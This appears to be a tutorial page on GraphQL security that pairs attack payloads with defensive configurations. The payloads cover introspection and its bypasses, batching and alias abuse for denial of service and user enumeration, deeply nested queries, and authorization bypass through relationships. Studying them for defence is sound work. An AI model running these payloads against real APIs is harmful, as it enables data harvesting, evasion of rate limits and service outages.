GraphQL Security
GraphQL provides a powerful query language for APIs, but its flexibility introduces unique security challenges. Unlike REST APIs with fixed endpoints, GraphQL allows clients to define query structures dynamically, creating attack vectors that require specialized security measures to address.
Why GraphQL Security Is Different
GraphQL security testing must account for client-defined query structures, schema introspection, and the ability to traverse relationships dynamically. Attackers can combine fields, arguments, aliases, and batching to extract excessive data or stress backend systems in ways impossible with traditional REST APIs.
Introspection Attacks
GraphQL's introspection system allows clients to query the API's schema to discover available data types and their fields. Research shows 50% of GraphQL endpoints are targeted with introspection attacks. While convenient for development, this feature can be exploited to uncover sensitive schema details and plan sophisticated attacks.
Introspection Query
# Full schema introspection query
query IntrospectionQuery {
__schema {
types {
name
fields {
name
type {
name
kind
}
args {
name
type { name }
}
}
}
mutationType {
fields { name }
}
}
}
# Discover all available queries
query {
__schema {
queryType {
fields {
name
description
}
}
}
}Bypassing Disabled Introspection
Inserting special characters after the __schema keyword can bypass poorly implemented restrictions. This exploits common developer oversights in regex patterns. Spaces, newlines, and commas that GraphQL ignores may not be accounted for in blocklist patterns:
# Bypass attempts using special characters
query { __schema
{ types { name } } }
query { __schema,{ types { name } } }
query { __schema { types { name } } } # Extra spaces
# Using suggestions when introspection is disabled
# Apollo GraphQL suggests query amendments in error messages
query { user { pasword } } # Typo reveals "password" field existsQuery Batching Attacks
GraphQL supports query batching, sending multiple queries in one request. While the network sees a single request, the backend processes queries sequentially. This can lead to DoS attacks that bypass WAFs, RASP, and intrusion detection systems because abuse appears as normal traffic.
Batching DoS Attack
// Single HTTP request with multiple queries
[
{ "query": "{ users { id email passwordHash } }" },
{ "query": "{ users { id email passwordHash } }" },
{ "query": "{ users { id email passwordHash } }" },
// ... repeated 1000 times
{ "query": "{ users { id email passwordHash } }" }
]Brute Force via Batching
// Enumerate users in single request - bypasses rate limiting
[
{ "query": "{ user(id: 1) { email } }" },
{ "query": "{ user(id: 2) { email } }" },
{ "query": "{ user(id: 3) { email } }" },
// ... enumerate all user IDs
{ "query": "{ user(id: 10000) { email } }" }
]Alias-Based Attacks
Even when batching is disabled, attackers can use aliases to achieve similar effects. Aliases allow assigning different names to fields within a query, enabling multiple versions of the same query in a single request:
# Single query with aliases - bypasses batch limits
query {
u1: user(id: 1) { email password }
u2: user(id: 2) { email password }
u3: user(id: 3) { email password }
u4: user(id: 4) { email password }
# ... hundreds of aliases
u1000: user(id: 1000) { email password }
}
# Alias-based DoS
query {
a1: expensiveQuery(input: "a")
a2: expensiveQuery(input: "b")
a3: expensiveQuery(input: "c")
# Each alias triggers full query execution
}Nested Query Attacks
GraphQL's ability to traverse relationships enables deeply nested queries that can overwhelm databases and cause exponential resource consumption:
# Deeply nested query causing exponential DB queries
query {
users {
friends {
friends {
friends {
friends {
friends {
id
email
posts {
comments {
author {
friends { id }
}
}
}
}
}
}
}
}
}
}Authorization Bypass
GraphQL's single endpoint model can lead to inconsistent authorization checks across different query paths to the same data:
# Direct user query - properly protected
query {
user(id: 123) {
email
ssn # Access denied
}
}
# Indirect access via relationship - authorization bypass!
query {
posts {
author {
email
ssn # Exposed through different path!
}
}
}Prevention Strategies
Disable Introspection in Production
// Apollo Server - disable introspection
const server = new ApolloServer({
typeDefs,
resolvers,
introspection: process.env.NODE_ENV !== 'production',
playground: false, // Disable GraphiQL in production
});
// Custom validation rule to block introspection
const NoIntrospection = (context) => ({
Field(node) {
if (node.name.value.startsWith('__')) {
context.reportError(
new GraphQLError('Introspection is disabled')
);
}
}
});Query Complexity Limits
import { createComplexityLimitRule } from 'graphql-validation-complexity';
const complexityLimitRule = createComplexityLimitRule(1000, {
// Assign costs to operations
scalarCost: 1,
objectCost: 10,
listFactor: 20,
onCost: (cost) => {
console.log(`Query cost: ${cost}`);
},
});
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [complexityLimitRule],
});Depth Limiting
import depthLimit from 'graphql-depth-limit';
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [
depthLimit(5), // Maximum query depth of 5
],
});Rate Limiting and Batching Controls
// Limit batch size
const server = new ApolloServer({
typeDefs,
resolvers,
// Limit operations per request
allowBatchedHttpRequests: false, // Disable batching entirely
// Or limit batch size
// maxBatchSize: 5,
});
// Alias limiting middleware
const aliasLimit = (maxAliases) => (next) => (root, args, context, info) => {
const aliases = countAliases(info);
if (aliases > maxAliases) {
throw new Error(`Query exceeds max aliases (${maxAliases})`);
}
return next(root, args, context, info);
};Field-Level Authorization
// graphql-shield for field-level permissions
import { shield, rule, and, or } from 'graphql-shield';
const isAuthenticated = rule()((parent, args, ctx) => {
return ctx.user !== null;
});
const isAdmin = rule()((parent, args, ctx) => {
return ctx.user.role === 'admin';
});
const isOwner = rule()((parent, args, ctx) => {
return parent.userId === ctx.user.id;
});
const permissions = shield({
Query: {
users: isAdmin,
user: isAuthenticated,
},
User: {
email: or(isAdmin, isOwner),
ssn: and(isAdmin, isOwner),
},
});Security Checklist
• Disable introspection in production environments
• Disable GraphiQL and similar schema exploration tools in production
• Implement query complexity limits with appropriate cost calculations
• Set maximum query depth limits (typically 5-10 levels)
• Limit or disable query batching entirely
• Restrict excessive use of aliases and directives
• Implement field-level authorization that checks all access paths
• Use persisted queries to allow only pre-approved operations
• Monitor query patterns for abuse and implement alerting
• Apply rate limiting per user/IP on both query count and complexity
Practice Challenges
View allGraphQL Introspection
GraphQL with introspection enabled. Map the entire schema.
GraphQL Depth Attack
Deeply nested queries. DoS the server.
GraphQL Batching
Batch multiple queries. Bypass rate limiting.
GraphQL Alias DoS
Use aliases to duplicate expensive operations.
GraphQL Mutation IDOR
Mutation that modifies any object by ID.